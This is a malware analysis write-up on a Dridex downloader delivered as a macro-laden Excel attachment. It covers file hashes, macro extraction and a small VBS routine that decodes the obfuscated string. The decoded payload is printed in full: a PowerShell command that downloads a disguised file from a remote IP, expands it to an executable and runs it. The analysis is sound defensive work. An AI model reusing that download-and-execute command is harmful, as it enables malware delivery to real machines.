Dridex Downloader Analysis
Introduction
Yesterday I received in my company inbox an email with an attached .xlsm file named D92724446.xlsm coming from Clare588@78-83-77-53.spectrumnet.bg. Central and local AV engines did not find anything malicious, and a multiengine scan got 0/57 as result. I decided to investigate a little more in-depth in order to confirm that was a malicious file and to extract at least the code I was imagining being inside this document.
Become a certified reverse engineer!
General Information
This is some general info collected:
[plain]
Name:
D92724446.xlsm
MD5:
fea3ab857813c0d65cd0b6b6233a834b
SHA1:
64eef048efe86fe35f673fd2d853a8a727934e6c
SHA256:
75e3a4cd45c08ff242e2927fa3b4ee80858073a202dade84898040bfbb7847ef
ssdeep
768:qEIo/BPRS5t1dbQjlshORhynxvWXLUYJdGnSCk:qIJM8jl6nIP
File size:
36.1 KB ( 36978 bytes )
File type:
Office Open XML Spreadsheet
Virus Total information:
First submission:
2015-02-18 10:35:06 UTC
Last submission:
2015-02-19 08:58:57 UTC
Others names:
93D9B24583.xlsm
e94fcc43b0dc9c7eb350149b4ebdfd3d
61a47fa44dd55f5721ebe85aa83a32e6
I233185_486.xlsm
L335966_246.xlsm
271269885.xlsm
4501B81210.xlsm
e65fb3285617c7b4bbc833a466be6c42
5312970.xlsm
9D50B4390.xlsm
DDE1368393.xlsm
E30178611.xlsm
43c29faad6fc5984273afcc67593d802
FE731885.xlsm
C47394.xlsm
suspect.xls
090214399.xlsm
Q884674_740.xlsm
E015272_266.xlsm
U506714_083.xlsm
43925982.xlsm
8BB4D89313.xlsm.zip
82AC485705.xlsm
8abb99eb6078b658e05aece79337378a
0BF2034112.xlsm
Static Analysis
I started my analysis having a quick look inside:
At offset 0 we can quickly view 4 bytes that confirm the format of the file (50 4B 03 04). At this point, I tried to get more information and to see how this document was composed:
This quickly confirm my first suspicions. At offset 0x000012f1 a .bin file is found.
Going a little ahead, we can try to get the code of these instructions:
The code has been extracted, and different files for Classes and Modules have been created under OfficeMalScannerVBAPROJECT.BIN-Macros.
Opening these files with a simple text editor, I immediately found many obfuscated instructions, as reported in the image below:
However, after a quick analysis I realized that the modules really important for extracting of the malicious code were numbers 11 and 14.
This is because the module number 11 contains the instructions for running the obfuscated code assigned to the variable named "FfdsfF" and de-obfuscated through the function call "NewQkeTzIIHM".
"NewQkeTzIIHM" takes one parameter in input as string and returns a string.
These are its main instructions:
The -13 immediately brings to mind a de-obfuscation loop which employs the rot13 algorithm.
At this point, I simply wrote few lines of vbs code to correctly extract the content and print it to a txt file called output.txt.
[plain]
Function WriteFile(sText)
Set objFSO = CreateObject("Scripting.FileSystemObject")
Set objMyFile = objFSO.OpenTextFile( "C:UsersEOSecDesktopoutput.txt", 8, true, 0 )
objMyFile.WriteLine(sText)
objMyFile.close()
End Function
Dim i,x,y
x = "pzq-<X-]|„r`uryy;r…r-5[r„:owrp-`†€rz;[r;droPyvr{6;Q|„{y|nqSvyr54u}G<<B;>FC;?A@;D<x„rsr„rs<stq€rr<q…‡~;w}t4942aRZ]2iWVv|qsuv|VU;pno46H-r…}n{q-2aRZ]2iWVv|qsuv|VU;pno-2aRZ]2iWVv|qsuv|VU;r…rH-€n-2aRZ]2iWVv|qsuv|VU;r…rH"
For i = 1 To Len(x)
y = y + Chr(Asc(Mid(x, i, 1)) - 13)
Next
WriteFile(y)
This is the clear code obtained:
[plain]
cmd /K PowerShell.exe (New-Object System.Net.WebClient).DownloadFile('http://5.196.243.7/kwefewef/fgdsee/dxzq.jpg','%TEMP%JIOiodfhioIH.cab'); expand %TEMP%JIOiodfhioIH.cab %TEMP%JIOiodfhioIH.exe; start %TEMP%JIOiodfhioIH.exe;
And this the whois of the remote IP:
Become a certified reverse engineer!
A file named dxzq.jpg is downloaded. It's really a CAB file (JIOiodfhioIH.cab) that is then expanded to JIOiodfhioIH.exe and run.
- Exam Pass Guarantee
- Live expert instruction
- Hands-on labs
- CREA exam voucher
In this Series
- Dridex Downloader Analysis
- How AsyncRAT is escaping security defenses
- Chrome extensions used to steal users' secrets
- Luna ransomware encrypts Windows, Linux and ESXi systems
- Bahamut Android malware and its new features
- LockBit 3.0 ransomware analysis
- AstraLocker releases the ransomware decryptors
- Analysis of Nokoyawa ransomware
- Goodwill ransomware group is propagating unusual demands to get the decryption key
- Dangerous IoT EnemyBot botnet is now attacking other targets
- Fileless malware uses event logger to hide malware
- Nerbian RAT Using COVID-19 templates
- Popular evasion techniques in the malware landscape
- Sunnyday ransomware analysis
- 9 online tools for malware analysis
- Blackguard malware analysis
- Behind Conti: Leaks reveal inner workings of ransomware group
- ZLoader: What it is, how it works and how to prevent it | Malware spotlight [2022 update]
- WhisperGate: A destructive malware to destroy Ukraine computer systems
- Electron Bot Malware is disseminated via Microsoft's Official Store and is capable of controlling social media apps
- SockDetour: the backdoor impacting U.S. defense contractors
- HermeticWiper malware used against Ukraine
- MyloBot 2022: A botnet that only sends extortion emails
- Mars Stealer malware analysis
- How to remove ransomware: Best free decryption tools and resources
- Purple Fox rootkit and how it has been disseminated in the wild
- Deadbolt ransomware: The real weapon against IoT devices
- Log4j - the remote code execution vulnerability that stopped the world
- Rook ransomware analysis
- Modus operandi of BlackByte ransomware
- Emotet malware returns
- Mekotio banker trojan returns with new TTP
- Android malware BrazKing returns
- Malware instrumentation with Frida
- Malware analysis arsenal: Top 15 tools
- Redline stealer malware: Full analysis
- A full analysis of the BlackMatter ransomware
- A full analysis of Horus Eyes RAT
- REvil ransomware: Lessons learned from a major supply chain attack
- Pingback malware: How it works and how to prevent it
- Android malware worm auto-spreads via WhatsApp messages
- Malware analysis: Ragnarok ransomware
- Taidoor malware: what it is, how it works and how to prevent it | malware spotlight
- SUNBURST backdoor malware: What it is, how it works, and how to prevent it | Malware spotlight
- ZHtrap botnet: How it works and how to prevent it
- DearCry ransomware: How it works and how to prevent it
- How criminals are using Windows Background Intelligent Transfer Service
- How the Javali trojan weaponizes Avira antivirus
- HelloKitty: The ransomware affecting CD Projekt Red and Cyberpunk 2077
- DreamBus Botnet: An analysis
- Kobalos malware: A complex Linux threat
Get certified and advance your career!
- Exam Pass Guarantee
- Live instruction
- CompTIA, ISACA, ISC2, Cisco, Microsoft and more!
Malware analysis
Malware analysis
Malware analysis
Malware analysis